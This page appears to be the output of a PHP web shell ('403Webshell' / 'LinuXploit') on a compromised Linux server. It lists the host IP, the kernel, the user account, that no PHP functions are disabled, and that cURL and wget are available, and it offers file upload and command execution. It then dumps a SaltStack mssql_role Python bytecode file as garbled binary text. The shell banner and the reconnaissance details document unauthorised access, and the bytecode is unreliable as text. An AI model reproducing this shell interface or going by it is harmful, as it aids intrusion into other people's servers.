403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/mssql_role.cpython-310.pyc
o

;jM	�@s"dZdd�Zddd�Zdd�ZdS)	z�
Management of Microsoft SQLServer Databases
===========================================

The mssql_role module is used to create
and manage SQL Server Roles

.. code-block:: yaml

    yolo:
      mssql_role.present
cCsdtvrdSdS)z2
    Only load if the mssql module is present
    z
mssql.versionT)Fz mssql module could not be loaded)�__salt__�rr�J/opt/saltstack/salt/lib/python3.10/site-packages/salt/states/mssql_role.py�__virtual__srNcKs�|iddd�}td|fi|��rd�|�|d<|Stdr,d|d	<d
|�d�|d<|Std|f||d
�|��}|durQd|d	<|dd
|�d|��7<|S|dd
|�d�7<d|d|<|S)z�
    Ensure that the named database is present with the specified options

    name
        The name of the database to manage
    owner
        Adds owner using AUTHORIZATION option
    Grants
        Can only be a list of strings
    T���name�changes�result�comment�mssql.role_existsz?Role {} is already present (Not going to try to set its grants)r
�testNr	�Role z is set to be addedzmssql.role_create)�owner�grantsFz failed to be created: z has been addedZPresentr)r�format�__opts__)rrr�kwargs�retZrole_createdrrr�presents2�����rcKs�|iddd�}td|�sd|�d�|d<|Stdr)d	|d
<d|�d�|d<|Std|fi|��rCd|�d
�|d<d|d|<|Sd|d
<d|�d�|d<|S)zg
    Ensure that the named database is absent

    name
        The name of the database to remove
    Trrrr
z is not presentr
rNr	z is set to be removedzmssql.role_removez has been removedZAbsentrFz failed to be removed)rr)rrrrrr�absent?sr)NN)�__doc__rrrrrrr�<module>s
	'

Youez - 2016 - github.com/yon3zu
LinuXploit